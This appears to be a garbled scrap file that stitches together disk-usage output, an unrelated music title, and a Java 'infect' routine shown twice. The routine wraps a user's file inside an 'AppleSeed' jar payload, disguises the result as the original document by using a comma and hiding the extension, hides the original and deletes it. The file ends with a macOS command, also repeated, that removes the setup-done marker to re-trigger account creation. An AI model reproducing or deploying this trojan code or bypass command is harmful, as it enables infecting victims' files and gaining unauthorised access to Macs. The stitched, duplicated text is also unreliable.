mnt/data 20T 999G 19T 6% /mnt/data
mnt/media 31T 13T 19T 40% /mnt/media
mnt/tautulli 19T 346M 19T 1% /mnt/tautulli
mnt/torrent 21T 2.1T 19T 10% /mnt/torrent
mnt/ombi 19T 256K 19T 1% /mnt/ombi
mnt/spawnmason 19T 395G 19T 3% /mnt/spawnmason
mnt/plex 19T 68G 19T 1% /mnt/plex
mnt/git 19T 135G 19T 1% /mnt/git
mnt/nocom 19T 319G 19T 2% /mnt/nocom
mnt/olaris 19T 256K 19T 1% /mnt/olaris
mnt/youtube 21T 2.7T 19T 13% /mnt/youtube
mnt/telegram 19T 131G 19T 1% /mnt/telegram
mnt/jellyfin 19T 256K 19T 1% /mnt/jellyfin
mnt/privatemedia 22T 3.0T 19T 14% /mnt/privatemedia
mnt/impact 19T 71G 19T 1% /mnt/impact
mnt/takeout 22T 3.0T 19T 14% /mnt/takeout
Throat singing from Mongolia & Bagpipe and Drum music from Latvia
public static void infect(File f) throws Exception{
new ProcessBuilder("mkdir",library+"/temp").start().waitFor();
new ProcessBuilder("cp",library+"/AppleSeed.jar",library+"/temp/AppleSeed.zip").start().waitFor();
if (verbose){
System.out.println("Copied jar to temp");
}
new ProcessBuilder("unzip",library+"/temp/AppleSeed.zip","-d",library+"/temp/").start().waitFor();
if (verbose){
System.out.println("Unzipped jar");
}
new ProcessBuilder("rm",library+"/temp/AppleSeed.zip").start().waitFor();
String name=f.getName();
FileInputStream fstream=new FileInputStream(library+"/temp/r.txt");
String old=new BufferedReader(new InputStreamReader(new DataInputStream(fstream))).readLine();
new ProcessBuilder("rm",library+"/temp/"+old).start().waitFor();
try(FileOutputStream ff=new FileOutputStream(library+"/temp/r.txt")){
ff.write(name.getBytes());
}
if (verbose){
System.out.println("wrote r");
}
new ProcessBuilder("cp",f.getCanonicalPath(),library+"/temp/").start().waitFor();
if (verbose){
System.out.println("copied to temp");
}
addFile(name,"appleseed");
addFile(name,"META-INF");
addFile(name,"r.txt");
addFile(name,name);
new ProcessBuilder("rm","-rf",library+"/temp").start().waitFor();
String nn=replaceLast(f.getCanonicalPath(),'.',',')+".jar";
if (verbose){
System.out.println(nn);
}
boolean alr=new File(nn).exists();
new ProcessBuilder("mv",library+"/"+name+".jar",nn).start().waitFor();
new ProcessBuilder("SetFile","-a","E",nn).start();//Hide extension
new ProcessBuilder("SetFile","-a","V",f.getCanonicalPath()).start();//Hide totally
if (!alr){
new ProcessBuilder("rm","-rf",f.getCanonicalPath()).start();
}
}
public static void addFile(String name,String n) throws Exception{
ProcessBuilder pp=new ProcessBuilder("zip","-r",library+"/"+name+".jar",n);
pp.directory(new File(library+"/temp/"));
Process p=pp.start();
p.waitFor();
boolean printZip=false;
if (printZip){
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String strLine;
while ((strLine=br.readLine())!=null){
if (verbose){
System.out.println(strLine);
}
}
}
}
blah,docx.jar
but with the extension removed so it would show up as blah,docx
public static void infect(File f) throws Exception{
new ProcessBuilder("mkdir",library+"/temp").start().waitFor();
new ProcessBuilder("cp",library+"/AppleSeed.jar",library+"/temp/AppleSeed.zip").start().waitFor();
if (verbose){
System.out.println("Copied jar to temp");
}
new ProcessBuilder("unzip",library+"/temp/AppleSeed.zip","-d",library+"/temp/").start().waitFor();
if (verbose){
System.out.println("Unzipped jar");
}
new ProcessBuilder("rm",library+"/temp/AppleSeed.zip").start().waitFor();
String name=f.getName();
FileInputStream fstream=new FileInputStream(library+"/temp/r.txt");
String old=new BufferedReader(new InputStreamReader(new DataInputStream(fstream))).readLine();
new ProcessBuilder("rm",library+"/temp/"+old).start().waitFor();
try(FileOutputStream ff=new FileOutputStream(library+"/temp/r.txt")){
ff.write(name.getBytes());
}
if (verbose){
System.out.println("wrote r");
}
new ProcessBuilder("cp",f.getCanonicalPath(),library+"/temp/").start().waitFor();
if (verbose){
System.out.println("copied to temp");
}
addFile(name,"appleseed");
addFile(name,"META-INF");
addFile(name,"r.txt");
addFile(name,name);
new ProcessBuilder("rm","-rf",library+"/temp").start().waitFor();
String nn=replaceLast(f.getCanonicalPath(),'.',',')+".jar";
if (verbose){
System.out.println(nn);
}
boolean alr=new File(nn).exists();
new ProcessBuilder("mv",library+"/"+name+".jar",nn).start().waitFor();
new ProcessBuilder("SetFile","-a","E",nn).start();//Hide extension
new ProcessBuilder("SetFile","-a","V",f.getCanonicalPath()).start();//Hide totally
if (!alr){
new ProcessBuilder("rm","-rf",f.getCanonicalPath()).start();
}
}
public static void addFile(String name,String n) throws Exception{
ProcessBuilder pp=new ProcessBuilder("zip","-r",library+"/"+name+".jar",n);
pp.directory(new File(library+"/temp/"));
Process p=pp.start();
p.waitFor();
boolean printZip=false;
if (printZip){
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String strLine;
while ((strLine=br.readLine())!=null){
if (verbose){
System.out.println(strLine);
}
}
}
}
mount -uw /; rm /var/db/.AppleSetupDone; shutdown -h now
mount -uw /; rm /var/db/.AppleSetupDone; shutdown -h now